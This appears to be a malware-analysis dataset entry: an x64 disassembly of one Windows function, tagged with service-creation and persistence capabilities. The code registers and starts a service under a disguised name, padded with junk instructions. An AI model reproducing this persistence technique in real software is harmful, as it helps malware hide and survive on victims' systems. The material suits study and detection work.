Function at 0x140027218
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push rbp
push r15
mov rax, reloc.WS2_32.dll_recv
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140027222
sub rsp, 0x28
call fcn.14003e350
movsxd r15, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x50]
imul r15, rax
mov rax, r15
push rax
pop rax
mov dword [rsp + 0x50], eax
mov rax, gethostbyname
mov rax, rax
push rax
pop rcx
call fcn.140005328
movsxd r15, dword [0x140096df0]
cmp r15, 2
jle 0x140027315
push 1
movsxd rax, dword [0x140096df0]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140034190
mov rax, rax
push rax
pop rax
mov dword [rsp + 0x28], eax
movsxd r15, dword [rsp + 0x28]
mov rbp, qword [0x1400972f4]
imul r15, r15, 0x18
add rbp, r15
mov rcx, qword [rbp + 8]
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.14003e4e0
movsxd r15, dword [rsp + 0x28]
mov rbp, qword [0x1400972f4]
imul r15, r15, 0x18
add rbp, r15
mov rcx, qword [rbp + 0x10]
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
lea rcx, [rsp + 0x48]
pop rdx
call fcn.14003e4e0
jmp 0x14002733d
movabs rdx, str.Health_Key_Authentication_Protocol
lea rcx, [rsp + 0x38]
call fcn.14003e210
movabs rdx, 0x14009264c
lea rcx, [rsp + 0x40]
call fcn.14003e210
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.140033964
add rsp, 0x20
push rax
call fcn.14003e440
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140033540
add rsp, 0x20
push rax
call fcn.14003e440
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400326c0
add rsp, 0x28
lea rcx, [rsp + 0x80]
pop rdx
call fcn.14003e4e0
push qword [rsp + 0x78]
movabs rcx, 0x140092028
pop rdx
call fcn.14003e5c0
or rax, rax
jne 0x140027478
mov rcx, qword [rsp + 0x78]
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
lea rcx, [0x140096d64]
pop rdx
call fcn.14003e4e0
mov rax, qword [0x140096d64]
mov rax, rax
push rax
lea rbp, [rsp + 0x60]
pop rax
mov qword [rbp], rax
lea rax, [0x14002df24]
mov rax, rax
push rax
pop rax
mov qword [rbp + 8], rax
lea rax, [rsp + 0x58]
mov rax, rax
push rax
pop rcx
call sub.ADVAPI32.dll_StartServiceCtrlDispatcherW
jmp 0x140027ac3
call fcn.140019140
mov dword [rsp + 0x48], 0
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140027df1
add rsp, 0x28
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140004049
add rsp, 0x30
pop rax
lea rcx, [rsp + 0x78]
pop rdx
call fcn.14003e4e0
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [rsp + 0x80]
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.140033750
add rsp, 0x20
push rax
call fcn.14003e440
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140038424
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140031e68
add rsp, 0x28
pop rax
and rax, rax
je 0x14002756c
jmp 0x140027595
movsxd r15, dword [rsp + 0x48]
inc r15
mov rax, r15
push rax
pop rax
mov dword [rsp + 0x48], eax
movsxd r15, dword [rsp + 0x48]
cmp r15, 0xc8
jle 0x140027590
jmp 0x1400015cb
jmp 0x140027485
push qword [rsp + 0x70]
pop rcx
call fcn.1400183d8
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 0
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140027df1
add rsp, 0x30
movabs rcx, str.ntdll.dll
sub rsp, 0x20
call fcn.14003e650
add rsp, 0x20
push rax
call fcn.14003e440
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140038448
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140031e68
add rsp, 0x28
pop rax
mov qword [rsp + 0x80], rax
mov r15, qword [rsp + 0x80]
and r15, r15
jne 0x140027667
movabs rax, 0x140092c80
push rax
movabs rax, str._yyyy__mm__dd__hh:_ii:_ss
push rax
pop rcx
pop rdx
call fcn.14003a16c
mov qword [rsp + 0x80], rax
push qword [rsp + 0x80]
push 0
push qword [rsp + 0x80]
pop rcx
pop rdx
pop r8
call fcn.140038524
push qword [rsp + 0x80]
push 1
push qword [rsp + 0x80]
pop rcx
pop rdx
pop r8
call fcn.140038524
push qword [rsp + 0x80]
push 2
push qword [rsp + 0x80]
pop rcx
pop rdx
pop r8
call fcn.140038524
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14002d118
add rsp, 0x28
lea rcx, [0x140096d64]
pop rdx
call fcn.14003e4e0
mov rcx, qword [rsp + 0x70]
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
movabs rcx, 0x1400920d2
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
mov rcx, qword [0x140096d64]
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
lea rcx, [rsp + 0x78]
pop rdx
call fcn.14003e4e0
push 2
push 0
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenSCManagerW
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
je 0x140027848
sub rsp, 8
push 0
push 0
push 0
push 0
push 0
mov rax, qword [rsp + 0xa0]
mov rax, rax
push rax
push 1
push 2
push reloc.WS2_32.dll_recv
push 0xf01ff
mov rax, qword [rsp + 0x90]
mov rax, rax
push rax
mov rax, qword [0x140096d64]
mov rax, rax
push rax
push qword [rsp + 0xf0]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.ADVAPI32.dll_CreateServiceW
add rsp, 0x70
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x14002783b
mov rax, qword [rsp + 0x40]
mov rax, rax
push rax
lea rbp, [rsp + 0x70]
pop rax
mov qword [rbp], rax
lea rax, [rsp + 0x68]
mov rax, rax
push rax
push 1
push qword [rsp + 0xa0]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_ChangeServiceConfig2W
push qword [rsp + 0x90]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
push qword [rsp + 0x88]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
push 2
push 0
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenSCManagerW
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
je 0x1400278da
push 0xf01ff
mov rax, qword [0x140096d64]
mov rax, rax
push rax
push qword [rsp + 0x98]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenServiceW
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x1400278cd
push 0
push 0
push qword [rsp + 0xa0]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_StartServiceW
push qword [rsp + 0x90]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
push qword [rsp + 0x88]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140027df1
add rsp, 0x28
movabs rcx, str.wostmp_
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
lea rcx, [rsp + 0xa0]
pop rdx
call fcn.14003e4e0
push qword [rsp + 0x98]
pop rcx
call fcn.140037f44
push qword [rsp + 0x98]
pop rcx
call fcn.1400100ea
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [rsp + 0xa8]
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
movabs rcx, 0x140092196
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
sub rsp, 8
push 1
push 0x7fffffff
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140034190
add rsp, 0x28
mov rax, rax
push rax
pop rcx
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
pop rdx
sub rsp, 0x20
call fcn.140033210
add rsp, 0x20
pop rax
movabs rcx, 0x140092196
sub rsp, 0x28
call fcn.14003e650
add rsp, 0x28
sub rsp, 8
push 1
push 0x7fffffff
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140034190
add rsp, 0x28
mov rax, rax
push rax
pop rcx
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
pop rdx
sub rsp, 0x20
call fcn.140033210
add rsp, 0x20
pop rax
call fcn.14003e740
push rcx
sub rsp, 0x20
call fcn.14003e3c0
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.14003e3c0
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.140033750
add rsp, 0x20
push rax
call fcn.14003e440
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.14003e440
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140038640
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140031e68
add rsp, 0x28
pop rax
jmp 0x1400015cb
xor rax, rax
push rax
mov rcx, qword [rsp + 0x80]
sub rsp, 0x28
call fcn.14003e620
add rsp, 0x28
mov rcx, qword [rsp + 0xa0]
sub rsp, 0x28
call fcn.14003e620
add rsp, 0x28
mov rcx, qword [rsp + 0x78]
sub rsp, 0x28
call fcn.14003e620
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.14003e620
add rsp, 0x28
mov rcx, qword [rsp + 0x48]
sub rsp, 0x28
call fcn.14003e620
add rsp, 0x28
pop rax
add rsp, 0xa8
pop r15
pop rbp
ret